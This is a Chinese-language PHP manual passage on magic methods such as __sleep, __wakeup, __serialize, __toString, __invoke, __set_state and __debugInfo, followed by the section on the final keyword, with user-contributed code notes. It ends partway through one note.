__sleep() 方法常用于提交未提交的数据，或类似的清理操作。同时，如果有一些很大的对象，但不需要全部保存，这个功能就很好用。

与之相反，unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup 方法，预先准备对象需要的资源。

__wakeup() 经常用在反序列化操作中，例如重新建立数据库连接，或执行其它初始化操作。

Example #1 Sleep 和 wakeup

<?php
class Connection
{
protected $link;
private $server, $username, $password, $db;

public function __construct($server, $username, $password, $db)
{
$this->server = $server;
$this->username = $username;
$this->password = $password;
$this->db = $db;
$this->connect();
}

private function connect()
{
$this->link = mysql_connect($this->server, $this->username, $this->password);
mysql_select_db($this->db, $this->link);
}

public function __sleep()
{
return array('server', 'username', 'password', 'db');
}

public function __wakeup()
{
$this->connect();
}
}
?>

__serialize() 和 __unserialize()

public __serialize(): array
public __unserialize(array $data): void

serialize() 函数会检查类中是否存在一个魔术方法 __serialize() 。如果存在，该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回，如果没有返回数组，将会抛出一个 TypeError 错误。

Note:

如果类中同时定义了 __serialize() 和 __sleep()
两个魔术方法，则只有 __serialize() 方法会被调用。
__sleep() 方法会被忽略掉。如果对象实现了 Serializable
接口，接口的 serialize() 方法会被忽略，做为代替类中的 __serialize() 方法会被调用。

__serialize() 的预期用途是定义对象序列化友好的任意表示。 数组的元素可能对应对象的属性，但是这并不是必须的。

相反， unserialize() 检查是否存在具有名为
__unserialize()
的魔术方法。此函数将会传递从 __serialize()
返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。

Note:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法，则只有 __unserialize() 方法会生效，__wakeup() 方法会被忽略。

Note:

此特性自 PHP 7.4.0 起可用。

Example #2 序列化和反序列化

<?php
class Connection
{
protected $link;
private $dsn, $username, $password;

public function __construct($dsn, $username, $password)
{
$this->dsn = $dsn;
$this->username = $username;
$this->password = $password;
$this->connect();
}

private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this->password);
}

public function __serialize(): array
{
return [
'dsn' => $this->dsn,
'user' => $this->username,
'pass' => $this->password,
];
}

public function __unserialize(array $data): void
{
$this->dsn = $data['dsn'];
$this->username = $data['user'];
$this->password = $data['pass'];

$this->connect();
}
}?>

__toString()

public __toString(): string

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

Warning

从 PHP 8.0.0 起，返回值遵循标准的 PHP 类型语义， 这意味着如果禁用 严格类型 ，它将会强制转换为字符串。

从 PHP 8.0.0 起，任何包含 __toString() 方法的类都将隐性实现 Stringable 接口， 因此将通过该接口的类型检查。推荐无论如何应显式实现该接口。

在 PHP 7.4 中，返回值 必须 是 string ，否则会抛出 Error 。

在 PHP 7.4.0 之前，返回值 必须 是 string ，否则会抛出致命错误 E_RECOVERABLE_ERROR 。

Warning

在 PHP 7.4.0 之前不能在 __toString() 方法中抛出异常。这么做会导致致命错误。

Example #3 简单示例

<?php
// 声明一个简单的类
class TestClass
{
public $foo;

public function __construct($foo)
{
$this->foo = $foo;
}

public function __toString() {
return $this->foo;
}
}

$class = new TestClass('Hello');
echo $class;
?>

以上示例会输出：

Hello

__invoke()

__invoke( ...$values): mixed

当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。

Example #4 使用 __invoke()

<?php
class CallableClass
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>

以上示例会输出：

int(5)
bool(true)

Example #5 使用 __invoke()

<?php
class Sort
{
private $key;
public function __construct(string $key)
{
$this->key = $key;
}
public function __invoke(array $a, array $b): int
{
return $a[$this->key] <=> $b[$this->key];
}
}
$customers = [
['id' => 1, 'first_name' => 'John', 'last_name' => 'Do'],
['id' => 3, 'first_name' => 'Alice', 'last_name' => 'Gustav'],
['id' => 2, 'first_name' => 'Bob', 'last_name' => 'Filipe']
];
// sort customers by first name
usort($customers, new Sort('first_name'));
print_r($customers);
// sort customers by last name
usort($customers, new Sort('last_name'));
print_r($customers);
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [id] => 3
            [first_name] => Alice
            [last_name] => Gustav
        )
    [1] => Array
        (
            [id] => 2
            [first_name] => Bob
            [last_name] => Filipe
        )
    [2] => Array
        (
            [id] => 1
            [first_name] => John
            [last_name] => Do
        )
)
Array
(
    [0] => Array
        (
            [id] => 1
            [first_name] => John
            [last_name] => Do
        )
    [1] => Array
        (
            [id] => 2
            [first_name] => Bob
            [last_name] => Filipe
        )
    [2] => Array
        (
            [id] => 3
            [first_name] => Alice
            [last_name] => Gustav
        )
)

__set_state()

static __set_state(array $properties): object

当调用 var_export() 导出类时，此静态 方法会被调用。

本方法的唯一参数是一个数组，其中包含按 ['property' => value, ...] 格式排列的类属性。

Example #6 使用 __set_state()>

<?php

class A
{
public $var1;
public $var2;

public static function __set_state($an_array)
{
$obj = new A;
$obj->var1 = $an_array['var1'];
$obj->var2 = $an_array['var2'];
return $obj;
}
}

$a = new A;
$a->var1 = 5;
$a->var2 = 'foo';

$b = var_export($a, true);
var_dump($b);
eval('$c = ' . $b . ';');
var_dump($c);
var_dump($b);

?>

以上示例会输出：

string(60) "A::__set_state(array(
   'var1' => 5,
   'var2' => 'foo',
))"
object(A)#2 (2) {
  ["var1"]=>
  int(5)
  ["var2"]=>
  string(3) "foo"
}

Note: 导出对象时， var_export() 不会检查对象类是否实现了 __set_state() ， 所以如果 __set_state() 没有实现， 重新导入对象会触发 Error 异常。特别是这会影响内部(内置)类。 程序员有责任验证要重新导入的类是否实现了 __set_state() 。

__debugInfo()

__debugInfo(): array

当通过 var_dump() 转储对象，获取应该要显示的属性的时候， 该函数就会被调用。如果对象中没有定义该方法，那么将会展示所有的公有、受保护和私有的属性。

Example #7 使用 __debugInfo()

<?php
class C {
private $prop;

public function __construct($val) {
$this->prop = $val;
}

public function __debugInfo() {
return [
'propSquared' => $this->prop ** 2,
];
}
}

var_dump(new C(42));
?>

以上示例会输出：

object(C)#1 (1) {
  ["propSquared"]=>
  int(1764)
}

User Contributed Notes

tyler at nighthound dot us 18-Jun-2023 01:26
Please note that as of PHP 8.2 implementing __serialize() has no control over the output of json_encode(). you still have to implement JsonSerializable.
vali dot dr at gmail dot com 03-Feb-2021 07:18
It should be noted that if you unset a class typed property and then try to access it,  __get will be called. But it MUST return the original type.

https://wiki.php.net/rfc/typed_properties_v2#overloaded_properties
ctamayo at sitecrafting dot com 18-Aug-2020 06:10
Due to a bug in PHP <= 7.3, overriding the __debugInfo() method from SPL classes is silently ignored.

<?php

class Debuggable extends ArrayObject {
  public function __debugInfo() {
    return ['special' => 'This should show up'];
  }
}

var_dump(new Debuggable());

// Expected output:
// object(Debuggable)#1 (1) {
//   ["special"]=>
//   string(19) "This should show up"
// }

// Actual output:
// object(Debuggable)#1 (1) {
//   ["storage":"ArrayObject":private]=>
//   array(0) {
//   }
// }

?>

Bug report: https://bugs.php.net/bug.php?id=69264
daniel dot peder at gmail dot com 30-Apr-2018 09:29
http://sandbox.onlinephpfunctions.com/code/4d2cc3648aed58c0dad90c7868173a4775e5ba0c

IMHO a bug or need feature change

providing a object as a array index doesn't try to us __toString() method so some volatile object identifier is used to index the array, which is breaking any persistency. Type hinting solves that, but while other than "string" type hinting doesn't work on ob jects, the automatic conversion to string should be very intuitive.

PS: tried to submit bug, but withot patch the bugs are ignored, unfortunately, I don't C coding

<?php

class shop_product_id {

    protected $shop_name;
    protected $product_id;

    function __construct($shop_name,$product_id){
        $this->shop_name = $shop_name;
        $this->product_id = $product_id;
    }

    function __toString(){
        return $this->shop_name . ':' . $this->product_id;
    }
}

$shop_name = 'Shop_A';
$product_id = 123;
$demo_id = $shop_name . ':' . $product_id;
$demo_name = 'Some product in shop A';

$all_products = [ $demo_id => $demo_name ];
$pid = new shop_product_id( $shop_name, $product_id );

echo "with type hinting: ";
echo ($demo_name === $all_products[(string)$pid]) ? "ok" : "fail";
echo "\n";

echo "without type hinting: ";
echo ($demo_name === $all_products[$pid]) ?  "ok" : "fail";
echo "\n";
kguest at php dot net 30-May-2017 01:27
__debugInfo  is also utilised when calling print_r on an object:

$ cat test.php
<?php
class FooQ {

     private $bar = '';

     public function __construct($val) {

         $this->bar = $val;
     }

     public function __debugInfo()
     {
         return ['_bar' => $this->bar];
     }
}
$fooq = new FooQ("q");
print_r ($fooq);

$ php test.php
FooQ Object
(
    [_bar] => q
)
$
smiley at HELLOSPAMBOT dot chillerlan dot net 09-Jan-2016 04:30
A simple API wrapper, using __call() and the PHP 5.6 "..." token.
http://php.net/manual/functions.arguments.php#functions.variable-arg-list

<?php
namespace Example;

use Exception;
use ReflectionClass;
use SomeApiInterface;
use SomeHttpClient;
use SomeEndpointHandler;

/**
 * Class SomeApiWrapper
 *
 * @method SomeEndpointHandler method1(MethodParams $param1)
 * @method SomeEndpointHandler method2(MethodParams $param1, AuthParams $param2 = null)
 * ...
 * @method SomeEndpointHandler method42()
 */
class SomeApiWrapper{

    /**
     * @var \SomeHttpClient
     */
    private $httpClient;

    /**
     * @var array
     */
    private $methodMap = [];

    /**
     * SomeApiWrapper constructor.
     */
    public function __construct(){
        $this->mapApiMethods();
        $this->httpClient = new SomeHttpClient();
    }

    /**
     * The API is flat and has ~ 150 endpoints, all of which take optional parameters
     * from up to 3 groups (method params, authentication, filters). Instead of
     * implementing the interface and adding countless stubs that have basically
     * the same signature, i just map its methods here and use __call().
     */
    private function mapApiMethods(){
        $reflectionClass = new ReflectionClass(SomeApiInterface::class);

        foreach($reflectionClass->getMethods() as $m){
            $this->methodMap[] = $m->name;
        }
    }

    /**
     * Thanks to the PHP 5.6+ "..." token, there's no hassle with the arguments anymore
     * (ugh, bad pun). Just hand the method parameters into the endpoint handler,
     * along with other mandatory params - type hints are your friends.
     *
     * It's magic!
     *
     * @param string $method
     * @param array  $arguments
     *
     * @return \SomeEndpointHandler
     * @throws \Exception
     */
    public function __call($method, $arguments){

        if(in_array($method, $this->methodMap)){
            return new SomeEndpointHandler($this->httpClient, $method, ...$arguments);
        }

        throw new Exception('Endpoint "'.$method.'" does not exist');
    }

}
staff at pro-unreal dot de 16-May-2013 06:08
To avoid instanciating the parent instead of the inherited class for __set_state() as reported by jsnell, you could use late static binding introduced in PHP 5.3:

<?php
class A {
    public static function __set_state($data) {
        return new static();
    }
}

class B extends A {
}

$instance = new B();
eval('$test = ' . var_export($instance, true) . ';');
var_dump($test);
// -> object(B)#2 (0) {
// }
?>
daan dot broekhof at gmail dot com 14-Feb-2012 10:54
Ever wondered why you can't throw exceptions from __toString()? Yeah me too.

Well now you can! This trick allows you to throw any type of exception from within a __toString(), with a full & correct backtrace.

How does it work? Well PHP __toString() handling is not as strict in every case: throwing an Exception from __toString() triggers a fatal E_ERROR, but returning a non-string value from a __toString() triggers a non-fatal E_RECOVERABLE_ERROR.
Add a little bookkeeping, and can circumvented this PHP deficiency!
(tested to work PHP 5.3+)

<?php

set_error_handler(array('My_ToStringFixer', 'errorHandler'));
error_reporting(E_ALL | E_STRICT);

class My_ToStringFixer
{
    protected static $_toStringException;

    public static function errorHandler($errorNumber, $errorMessage, $errorFile, $errorLine)
    {
        if (isset(self::$_toStringException))
        {
            $exception = self::$_toStringException;
            // Always unset '_toStringException', we don't want a straggler to be found later if something came between the setting and the error
            self::$_toStringException = null;
            if (preg_match('~^Method .*::__toString\(\) must return a string value$~', $errorMessage))
                throw $exception;
        }
        return false;
    }

    public static function throwToStringException($exception)
    {
        // Should not occur with prescribed usage, but in case of recursion: clean out exception, return a valid string, and weep
        if (isset(self::$_toStringException))
        {
            self::$_toStringException = null;
            return '';
        }

        self::$_toStringException = $exception;

        return null;
    }
}

class My_Class
{
    public function doComplexStuff()
    {
        throw new Exception('Oh noes!');
    }

    public function __toString()
    {
        try
        {
            // do your complex thing which might trigger an exception
            return $this->doComplexStuff();
        }
        catch (Exception $e)
        {
            // The 'return' is required to trigger the trick
            return My_ToStringFixer::throwToStringException($e);
        }
    }
}

$x = new My_Class();

try
{
    echo $x;
}
catch (Exception $e)
{
    echo 'Caught Exception! : '. $e;
}
?>
osbertv at yahoo dot com 29-Dec-2011 09:42
Invoking a class inside a class results in an error.

<?php
class A
{
    public function __invoke()
    {
        echo "Invoking A() Class";
    }
}

class B
{
    public $a;

    public function __construct()
    {
        $this->a = new A();
    }

    public function __invoke()
    {
        echo "Invoking B() Class";
    }
}

$a = new A();
$b = new B();
$a();
$b();
$b->a();

?>

returns
Invoking B() Class
PHP Fatal error:  Call to undefined method B::a()
Wesley 25-May-2011 12:10
Warning __toString can be triggerd more then one time

<?php
if(strstr(substr($obj,0,1024), 'somestuff')
    echo $obj;
return 'missing somestuff at the start, create container!';

substr() will trigger a __toString aswell as echo $obj;
?>

wich cause a performance issue since it will gather all data twice.

what i used as a hotfix:

<?php
__toString(){
  if(null === $this->sToString)
     $this->sToString = $this->_show();
  return $this->sToString;
}
?>
Anonymous 24-Jul-2010 07:41
Concerning __set() with protected/private/overloaded properties, the behavior might not be so intuitive without knowing some underlying rules.  Consider this test object for the following examples...

<?php
class A {
    protected $test_int = 2;
    protected $test_array = array('key' => 'test');
    protected $test_obj;

    function __construct() {
        $this->test_obj = new stdClass();
        }

    function __get($prop) {
        return $this->$prop;
        }

    function __set($prop, $val) {
        $this->$prop = $val;
        }
    }

$a = new A();

?>

Combined Operators (.=, +=, *=, etc): you must also define a companion __get() method to grant write -and- read access to the property.  Remember, "$x += $y" is shorthand for "$x = $x + $y".  In other words, "__set($x, (__get($x) + $y))".

Properties that are Arrays: attempting to set array values like "$a->test_array[] = 'asdf';" from outside this object will result in an "Indirect modification of overloaded property" notice and the operation completely ignored.  You can't use '[]' for array value assignment in this context (with the exception only if you made __get() return by reference, in which case, it would work fine and bypass the __set() method altogether).  You can work around this doing something like unioning the array instead:

<?php

$a->test_array[] = 'asdf'; // notice given and ignored unless __get() was declared to return by reference
$a->test_array += array(1 => 'asdf'); // to add a key/value
$a->test_array = array("key" => 'asdf') + $a->test_array; // to overwrite a  key/value.

?>

Properties that are Objects: as long as you have that __get() method, you can freely access and alter that sub object's own properties, bypassing __set() entirely.  Remember, objects are assigned and passed by reference naturally.

<?php

$a->test_obj->prop = 1; // fine if $a did not have a set method declared.

?>

All above tested in 5.3.2.
rudie-de-hotblocks at osu1 dot php dot net 09-Apr-2009 06:35
Note also that the constructor is executed also, and before __set_state(), making this magic function less magic, imho, (except for the ability to assign private members).
jsnell at e-normous dot com 03-Dec-2008 02:01
Be very careful to define __set_state() in classes which inherit from a parent using it, as the static __set_state() call will be called for any children.  If you are not careful, you will end up with an object of the wrong type.  Here is an example:

<?php
class A
{
    public $var1;

    public static function __set_state($an_array)
    {
        $obj = new A;
        $obj->var1 = $an_array['var1'];
        return $obj;
    }
}

class B extends A {
}

$b = new B;
$b->var1 = 5;

eval('$new_b = ' . var_export($b, true) . ';');
var_dump($new_b);
/*
object(A)#2 (1) {
  ["var1"]=>
  int(5)
}
*/
?>
jon at webignition dot net 03-Oct-2008 07:26
The __toString() method is extremely useful for converting class attribute names and values into common string representations of data (of which there are many choices). I mention this as previous references to __toString() refer only to debugging uses.

I have previously used the __toString() method in the following ways:

 - representing a data-holding object as:
   - XML
   - raw POST data
   - a GET query string
   - header name:value pairs

 - representing a custom mail object as an actual email (headers then body, all correctly represented)

When creating a class, consider what possible standard string representations are available and, of those, which would be the most relevant with respect to the purpose of the class.

Being able to represent data-holding objects in standardised string forms makes it much easier for your internal representations of data to be shared in an interoperable way with other applications.
Anonymous 31-May-2008 04:24
Serializing objects is problematic with references. This is solved redefining the __sleep() magic method. This is also problematic when parent class has private variables since the parent object is not accessible nor its private variables from within the child object.

I found a solution that seems working for classes that implements this __sleep() method, and for its subclasses. Without more work in subclasses. The inheritance system does the trick.

Recursively __sleep() call parent' __sleep() and return the whole array of variables of the object instance to be serialized.

<?php
class foo {
}

class a {
  private $var1;

  function __construct(foo &$obj = NULL) {
    $this->var1 = &$obj;
  }

  /** Return its variables array, if its parent exists and the __sleep method is accessible, call it and push the result into the array and return the whole thing. */
  public function __sleep() {
    $a = array_keys(get_object_vars(&$this));
    if (method_exists(parent, '__sleep')) {
      $p = parent::__sleep();
      array_push($a, $p);
    };
    return $a;
  }
}

class b extends a {
  function __construct(foo &$obj = NULL) {
    parent::__construct($obj);
  }
}

session_start();
$myfoo = &new foo();
$myb = &new b($myfoo);
$myb = unserialize(serialize(&$myb));
?>

This should work, I haven't tested deeper.
yanleech at gmail dot com 10-May-2008 06:24
Maybe we can using unserialize() & __wakeup() instead "new" when creating a new instance of class.

Consider following codes:

class foo
{
    static public $WAKEUP_STR = 'O:3:"foo":0:{}';
    public function foo(){}
    public function bar(){}
}

$foo = unserialize(foo::$WAKEUP_STR);
dhuseby domain getback tld com 29-Feb-2008 06:22
The above hint for using array_keys((array)$obj) got me investigating how to get __sleep to really work with object hierarchies.

With PHP 5.2.3, If you want to serialize an object that is part of an object hierarchy and you want to selectively serialize members (public, private, and protected) by manually specifying the array of members, there are a few simple rules for naming members that you must follow:

1. public members should be named using just their member name, like so:

<?php
class Foo {
    public $bar;

    public function __sleep() {
        return array("bar");
    }
}
?>

2. protected members should be named using "\0" . "*" . "\0" . member name, like so:

<?php
class Foo {
    protected $bar;

    public function __sleep() {
        return array("\0*\0bar");
    }
}
?>

3. private members should be named using "\0" . class name . "\0" . member name, like so:

<?php
class Foo {
    private $bar;

    public function __sleep() {
        return array("\0Foo\0bar");
    }
}
?>

So with this information let us serialize a class hierarchy correctly:

<?php

class Base {
    private $foo = "foo_value";
    protected $bar = "bar_value";

    public function __sleep() {
        return array("\0Base\0foo", "\0*\0bar");
    }
}

class Derived extends Base {
    public $baz = "baz_value";
    private $boo = "boo_value";

    public function __sleep() {
        // we have to merge our members with our parent's
        return array_merge(array("baz", "\0Derived\0boo"), parent::__sleep());
    }
}

class Leaf extends Derived {
    private $qux = "qux_value";
    protected $zaz = "zaz_value";
    public $blah = "blah_value";

    public function __sleep() {
        // again, merge our members with our parent's
        return array_merge(array("\0Leaf\0qux", "\0*\0zaz", "blah"), parent::__sleep());
    }
}

// test it
$test = new Leaf();
$s = serialize($test);
$test2 = unserialize($s);
echo $s;
print_r($test);
print_r($test2);

?>

Now if you comment out all of the __sleep() functions and output the serialized string, you will see that the output doesn't change.  The most important part of course is that with the proper __sleep() functions, we can unserialize the string and get a properly set up object.

I hope this solves the mystery for everybody.  __sleep() does work, if you use it correctly :-)
rayRO 02-Apr-2006 09:55
If you use the Magical Method '__set()', be shure that the call of
<?php
$myobject->test['myarray'] = 'data';
?>
will not appear!

For that u have to do it the fine way if you want to use __set Method ;)
<?php
$myobject->test = array('myarray' => 'data');
?>

If a Variable is already set, the __set Magic Method already wont appear!

My first solution was to use a Caller Class.
With that, i ever knew which Module i currently use!
But who needs it... :]
There are quiet better solutions for this...
Here's the Code:

<?php
class Caller {
    public $caller;
    public $module;

    function __call($funcname, $args = array()) {
        $this->setModuleInformation();

        if (is_object($this->caller) && function_exists('call_user_func_array'))
            $return = call_user_func_array(array(&$this->caller, $funcname), $args);
        else
            trigger_error("Call to Function with call_user_func_array failed", E_USER_ERROR);

        $this->unsetModuleInformation();
        return $return;
    }

    function __construct($callerClassName = false, $callerModuleName = 'Webboard') {
        if ($callerClassName == false)
            trigger_error('No Classname', E_USER_ERROR);

        $this->module = $callerModuleName;

        if (class_exists($callerClassName))
            $this->caller = new $callerClassName();
        else
            trigger_error('Class not exists: \''.$callerClassName.'\'', E_USER_ERROR);

        if (is_object($this->caller))
        {
            $this->setModuleInformation();
            if (method_exists($this->caller, '__init'))
                $this->caller->__init();
            $this->unsetModuleInformation();
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
    }

    function __destruct() {
        $this->setModuleInformation();
        if (method_exists($this->caller, '__deinit'))
            $this->caller->__deinit();
        $this->unsetModuleInformation();
    }

    function __isset($isset) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $return = isset($this->caller->{$isset});
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function __unset($unset) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$unset}))
                unset($this->caller->{$unset});
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __set($set, $val) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $this->caller->{$set} = $val;
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __get($get) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$get}))
                $return = $this->caller->{$get};
            else
                $return = false;
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function setModuleInformation() {
        $this->caller->module = $this->module;
    }

    function unsetModuleInformation() {
        $this->caller->module = NULL;
    }
}

// Well this can be a Config Class?
class Config {
    public $module;

    public $test;

    function __construct()
    {
        print('Constructor will have no Module Information... Use __init() instead!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
        $this->test = '123';
    }

    function __init()
    {
        print('Using of __init()!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
    }

    function testFunction($test = false)
    {
        if ($test != false)
            $this->test = $test;
    }
}

echo('<pre>');
$wow = new Caller('Config', 'Guestbook');
print_r($wow->test);
print('<br />');
print('<br />');
$wow->test = '456';
print_r($wow->test);
print('<br />');
print('<br />');
$wow->testFunction('789');
print_r($wow->test);
print('<br />');
print('<br />');
print_r($wow->module);
echo('</pre>');
?>

Outputs something Like:

Constructor will have no Module Information... Use __init() instead!
-->  <--

Using of __init()!
--> Guestbook <--

123

456

789

Guestbook
docey 09-Dec-2005 08:44
about __sleep and _wakeup, consider using a method like this:

class core
{

 var $sub_core; //ref of subcore
 var $_sleep_subcore; // place where serialize version of sub_core will be stored

 function core(){
  $this->sub_core = new sub_core();
  return true;
 }

 function __wakeup()
 {
  // on wakeup of core, core unserializes sub_core
  // wich it had stored when it was serialized itself
  $this->sub_core = unserialize($this->_sleep_subcore);
  return true;
 }

 function __sleep()
 {
  // sub_core will be serialized when core is serialized.
  // the serialized subcore will be stored as a string inside core.
   $this->_sleep_subcore = serialize($this->sub_core);
   $return_arr[] = "_sleep_subcore";
   return $return_arr;
 }

}

class sub_core
{
 var $info;

 function sub_core()
 {
  $this->info["somedata"] = "somedata overhere"
 }

 function __wakeup()
 {
  return true;
 }

 function __sleep()
 {
  $return_arr[] = "info"
  return $return_arr;
 }

}

this way subcore is being serialized by core when core is being serialized. subcore handles its own data and core stores it as a serialize string inside itself. on wakeup core unserializes subcore.

this may have a performance cost, but if you have many objects connected this way this is the best way of serializing them. you only need to serialize the the main object wich will serialize all those below which will serialize all those below them again. in effect causing a sort of chainreaction in wich each object takes care of its own info.

offcoarse you always need to store the eventualy serialized string in a safe place. somebody got experience with this way of __wakeup and __sleep.

works in PHP4&5
martin dot goldinger at netserver dot ch 15-Aug-2005 04:47
When you use sessions, its very important to keep the sessiondata small, due to low performance with unserialize. Every class shoud extend from this class. The result will be, that no null Values are written to the sessiondata. It will increase performance.

<?
class BaseObject
{
    function __sleep()
    {
        $vars = (array)$this;
        foreach ($vars as $key => $val)
        {
            if (is_null($val))
            {
                unset($vars[$key]);
            }
        }
        return array_keys($vars);
    }
};
?>
jeffxlevy at gmail dot com 13-Aug-2005 06:26
Intriguing what happens when __sleep() and __wakeup() and sessions() are mixed. I had a hunch that, as session data is serialized, __sleep would be called when an object, or whatever, is stored in _SESSION. true. The same hunch applied when session_start() was called. Would __wakeup() be called? True. Very helpful, specifically as I'm building massive objects (well, lots of simple objects stored in sessions), and need lots of automated tasks (potentially) reloaded at "wakeup" time. (for instance, restarting a database session/connection).
ddavenport at newagedigital dot com 26-Jan-2005 11:09
One of the principles of OOP is encapsulation--the idea that an object should handle its own data and no others'.  Asking base classes to take care of subclasses' data, esp considering that a class can't possibly know how many dozens of ways it will be extended, is irresponsible and dangerous.

Consider the following...

<?php
class SomeStupidStorageClass
{
  public function getContents($pos, $len) { ...stuff... }
}

class CryptedStorageClass extends SomeStupidStorageClass
{
  private $decrypted_block;
  public function getContents($pos, $len) { ...decrypt... }
}
?>

If SomeStupidStorageClass decided to serialize its subclasses' data as well as its own, a portion of what was once an encrypted thingie could be stored, in the clear, wherever the thingie was stored.  Obviously, CryptedStorageClass would never have chosen this...but it had to either know how to serialize its parent class's data without calling parent::_sleep(), or let the base class do what it wanted to.

Considering encapsulation again, no class should have to know how the parent handles its own private data.  And it certainly shouldn't have to worry that users will find a way to break access controls in the name of convenience.

If a class wants both to have private/protected data and to survive serialization, it should have its own __sleep() method which asks the parent to report its own fields and then adds to the list if applicable.  Like so....

<?php

class BetterClass
{
  private $content;

  public function __sleep()
  {
    return array('basedata1', 'basedata2');
  }

  public function getContents() { ...stuff... }
}

class BetterDerivedClass extends BetterClass
{
  private $decrypted_block;

  public function __sleep()
  {
    return parent::__sleep();
  }

  public function getContents() { ...decrypt... }
}

?>

The derived class has better control over its data, and we don't have to worry about something being stored that shouldn't be.


Final 关键字

final 关键字通过在定义方法和常量之前加上 final 来防止被子类覆盖。 如果一个类被声明为 final，则不能被继承。

Example #1 Final 方法示例

<?php
class BaseClass {
public function test() {
echo "BaseClass::test() called\n";
}

final public function moreTesting() {
echo "BaseClass::moreTesting() called\n";
}
}

class ChildClass extends BaseClass {
public function moreTesting() {
echo "ChildClass::moreTesting() called\n";
}
}
// 产生 Fatal error: Cannot override final method BaseClass::moreTesting()
?>

Example #2 Final 类示例

<?php
final class BaseClass {
public function test() {
echo "BaseClass::test() called\n";
}

// 由于类已经是 final，所以 final 关键字是多余的
final public function moreTesting() {
echo "BaseClass::moreTesting() called\n";
}
}

class ChildClass extends BaseClass {
}
// 产生 Fatal error: Class ChildClass may not inherit from final class (BaseClass)
?>

Example #3 PHP 8.1.0 起可用的 final 常量示例

<?php
class Foo
{
final public const X = "foo";
}

class Bar extends Foo
{
public const X = "bar";
}

// Fatal error: Bar::X cannot override final constant Foo::X
?>

Note: 属性和常量不能被定义为 final，只有类、方法、常量（PHP 8.1.0 起）才能被定义为 final。 从 PHP 8.0.0 起，除了构造函数之外，私有方法也不能声明为 final 。

User Contributed Notes

Rumour 03-May-2023 01:56
Class constants CAN be "finalised" since PHP8.1. To partly contradict to the most popular user contribution, that was written a long time ago, they were still absolutely right.
John smith 11-Aug-2017 08:59
Right way:
 final protected function example() {
}

Wrong way:

protected final function example() {
}

Source: Practices
suisuiruyi at gmail dot com 06-Jun-2016 09:07
Note: Properties cannot be declared final, only classes and methods may be declared as final.
you can use trait:
<?php
trait PropertiesTrait {
    public $same = true;
    public $different = false;
}

class PropertiesExample {
    use PropertiesTrait;
    public $same = true; // Strict Standards
    public $different = true; // 致命错误
}
?>
xavier dot inghels at gmail dot com 31-Mar-2015 09:47
Final is not really about overriding or overloading a method.
PHP doesn't support (yet ?) method ovverriding.

The final keyword however prevent you to redefine a method already previously declared.
mattsch at gmail dot com 03-Jun-2014 07:24
You can use final methods to replace class constants.  The reason for this is you cannot unit test a class constant used in another class in isolation because you cannot mock a constant.   Final methods allow you to have the same functionality as a constant while keeping your code loosely coupled.

Tight coupling example (bad to use constants):

<?php
interface FooInterface
{
}

class Foo implements FooInterface
{
    const BAR = 1;

    public function __construct()
    {
    }
}

interface BazInterface
{
    public function getFooBar();
}

// This class cannot be unit tested in isolation because the actual class Foo must also be loaded to get the value of Foo::BAR
class Baz implements BazInterface
{
    private $foo;

    public function __construct(FooInterface $foo)
    {
        $this->foo = $foo;
    }

    public function getFooBar()
    {
        return Foo::BAR;
    }

}

$foo = new Foo();
$baz = new Baz($foo);
$bar = $baz->getFooBar();
?>

Loose coupling example (eliminated constant usage):

<?php
interface FooInterface
{
    public function bar();
}

class Foo implements FooInterface
{
    public function __construct()
    {
    }

    final public function bar()
    {
        return 1;
    }
}

interface BazInterface
{
    public function getFooBar();
}

// This class can be unit tested in isolation because class Foo does not need to be loaded by mocking FooInterface and calling the final bar method.
class Baz implements BazInterface
{
    private $foo;

    public function __construct(FooInterface $foo)
    {
        $this->foo = $foo;
    }

    public function getFooBar()
    {
        return $this->foo->bar();
    }

}

$foo = new Foo();
$baz = new Baz($foo);
$bar = $baz->getFooBar();
?>
cottton at i-stats dot net 12-May-2014 06:02
imo good to know:
<?php
class BaseClass
{
    protected static $var = 'i belong to BaseClass';

    public static function test()
    {
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and this is my var: `'.self::$var.'`<br>';
    }
    public static function changeVar($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
    final public static function dontCopyMe($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
}

class ChildClass extends BaseClass
{
    protected static $var = 'i belong to ChildClass';

    public static function test()
    {
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and this is my var: `'.self::$var.'`<br>'.
            'and this is my parent var: `'.parent::$var.'`';
    }
    public static function changeVar($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>'.
            'but the parent $var is still: `'.parent::$var.'`';
    }
    public static function dontCopyMe($val) // Fatal error: Cannot override final method BaseClass::dontCopyMe() in ...
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
}

